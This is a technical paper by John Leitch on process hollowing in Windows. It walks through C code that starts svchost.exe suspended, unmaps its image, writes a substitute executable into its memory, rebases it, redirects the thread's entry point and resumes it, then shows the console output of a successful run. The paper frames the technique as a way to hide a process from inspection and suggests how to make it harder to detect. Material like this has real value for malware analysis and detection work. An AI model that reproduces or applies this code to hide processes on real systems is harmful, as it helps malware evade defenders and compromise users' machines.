Process Hollowing: John Leitch
Process Hollowing: John Leitch
John Leitch
http://www.autosectools.com/
Introduction
Process hollowing is yet another tool in the kit of those who seek to hide the presence of a
process. The idea is rather straight forward: a bootstrap application creates a seemingly
innocent process in a suspended state. The legitimate image is then unmapped and replaced
with the image that is to be hidden. If the preferred image base of the new image does not
match that of the old image, the new image must be rebased. Once the new image is loaded in
memory the EAX register of the suspended thread is set to the entry point. The process is then
resumed and the entry point of the new image is executed.
1. To maximize compatibility, the subsystem of the source image should be set to windows.
2. The compiler should use the static version of the run-time library to remove dependence
to the Visual C++ runtime DLL. This can be achieved by using the /MT or /MTd compiler
options.
3. Either the preferred base address (assuming it has one) of the source image must match
that of the destination image, or the source must contain a relocation table and the
image needs to be rebased to the address of the destination. For compatibility reasons
the rebasing route is preferred. The /DYNAMICBASE or /FIXED:NO linker options can
be used to generate a relocation table.
Once a suitable source executable has been created it can be loaded in the context of another
process, hiding its presence from cursory inspections.
printf("Creating process\r\n");
CreateProcessA
(
0,
pDestCmdLine,
0,
0,
0,
CREATE_SUSPENDED,
0,
0,
pStartupInfo,
pProcessInfo
);
if (!pProcessInfo->hProcess)
{
printf("Error creating process\r\n");
return;
}
Once the process is created its memory space can be modified using the handle provided by
the hProcess member of the PROCESS_INFORMATION structure.
Gathering Information
First, the base address of the destination image must be located. This can be done by querying
the process with NtQueryProcessInformation to acquire the address of the process environment
block (PEB). The PEB is then read using ReadProcessMemory. All of this functionality is
encapsulated within a convenient helper function named ReadRemotePEB.
PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess);
Once the PEB is read from the process, the image base is used to read the NT headers. Once
again ReadProcessMemory is utilized, and the functionality is wrapped in a convenient helper
function.
_NtUnmapViewOfSection NtUnmapViewOfSection =
(_NtUnmapViewOfSection)fpNtUnmapViewOfSection;
if (dwResult)
{
printf("Error unmapping section\r\n");
return;
}
Next, a new block of memory is allocated for the source image. The size of the block is
determined by the SizeOfImage member of the source images optional header. For the sake of
simplicity the entire block is flagged as PAGE_EXECUTE_READWRITE, but this could be
improved upon by allocating each portable executable section with the appropriate flags based
on the characteristics specified in the section header.
printf("Allocating memory\r\n");
if (!pRemoteImage)
{
printf("VirtualAllocEx call failed\r\n");
return;
}
printf
(
"Source image base: 0x%p\r\n"
"Destination image base: 0x%p\r\n",
pSourceHeaders->OptionalHeader.ImageBase,
pPEB->ImageBaseAddress
);
pSourceHeaders->OptionalHeader.ImageBase = (DWORD)pPEB->ImageBaseAddress;
printf("Writing headers\r\n");
if (!WriteProcessMemory
(
pProcessInfo->hProcess,
pPEB->ImageBaseAddress,
pBuffer,
pSourceHeaders->OptionalHeader.SizeOfHeaders,
0
))
{
printf("Error writing process memory\r\n");
return;
}
printf
(
"Writing %s section to 0x%p\r\n",
pSourceImage->Sections[x].Name, pSectionDestination
);
if (!WriteProcessMemory
(
pProcessInfo->hProcess,
pSectionDestination,
&pBuffer[pSourceImage->Sections[x].PointerToRawData],
pSourceImage->Sections[x].SizeOfRawData,
0
))
{
printf ("Error writing process memory\r\n");
return;
}
}
As was mentioned earlier taking this step a bit further by applying the proper memory protection
options to the different sections would make the hollowing harder to detect.
The relocation table itself is broken down into a series of variable length blocks, each containing
a series of entries for a 4KB page. At the head of each relocation block is the page address
along with the block size, followed by the relocation entries. Each relocation entry is a single
word; the low 12 bits are the relocation offset, and the high 4 bits are the relocation types. C bit
fields can be used to easily access these values.
#define CountRelocationEntries(dwBlockSize) \
(dwBlockSize - \
sizeof(BASE_RELOCATION_BLOCK)) / \
sizeof(BASE_RELOCATION_ENTRY)
Putting this together we can iterate through each block and its respective entries, patching the
addresses of the image along the way.
dwOffset += sizeof(BASE_RELOCATION_BLOCK);
PBASE_RELOCATION_ENTRY pBlocks =
(PBASE_RELOCATION_ENTRY)&pBuffer[dwRelocAddr + dwOffset];
if (pBlocks[y].Type == 0)
continue;
DWORD dwFieldAddress =
pBlockheader->PageAddress + pBlocks[y].Offset;
DWORD dwBuffer = 0;
ReadProcessMemory
(
pProcessInfo->hProcess,
(PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress),
&dwBuffer,
sizeof(DWORD),
0
);
dwBuffer += dwDelta;
if (!bSuccess)
{
printf("Error writing memory\r\n");
continue;
}
}
}
if (!GetThreadContext(pProcessInfo->hThread, pContext))
{
printf("Error getting context\r\n");
return;
}
After the thread context has been acquired the EAX member is set to the sum of the base
address and the entry point address of the source image.
pContext->Eax = dwEntrypoint;
The thread context is then set, applying the changes to the EAX register
if (!SetThreadContext(pProcessInfo->hThread, pContext))
{
printf("Error setting context\r\n");
return;
}
Finally, the thread is resumed, executing the entry point of the source image.
printf("Resuming thread\r\n");
if (!ResumeThread(pProcessInfo->hThread))
{
printf("Error resuming thread\r\n");
return;
}
The hollowing function is now ready to use. To test it, svchost.exe (the Windows service host) is
hollowed out and replaced with a simple application that displays a message box.
CreateHollowedProcess
(
"svchost",
pPath
);
system("pause");
return 0;
}
Once the application is run, its output confirms that the hollowing was successful.
Creating process
Opening source image
Unmapping destination section
Allocating memory
Source image base: 0x00400000
Destination image base: 0x00A60000
Relocation delta: 0x00660000
Writing headers
Writing .text section to 0x00A8B000
Writing .rdata section to 0x00AE2000
Writing .data section to 0x00AF3000
Writing .idata section to 0x00AF7000
Writing .rsrc section to 0x00AF8000
Writing .reloc section to 0x00AF9000
Rebasing image
Getting thread context
Setting thread context
Resuming thread
Process hollowing complete
Press any key to continue . . .
Resources
Process Hollowing Source
http://code.google.com/p/process-hollowing/downloads/list
Malware Analyst's Cookbook and DVD: Tools and Techniques for Fighting Malicious Code
http://www.amazon.com/Malware-Analysts-Cookbook-DVD-Techniques/dp/0470613033
Peering Inside the PE: A Tour of the Win32 Portable Executable File Format
http://msdn.microsoft.com/en-us/library/ms809762.aspx
C Bit Fields
http://msdn.microsoft.com/en-us/library/yszfawxh(v=vs.80).aspx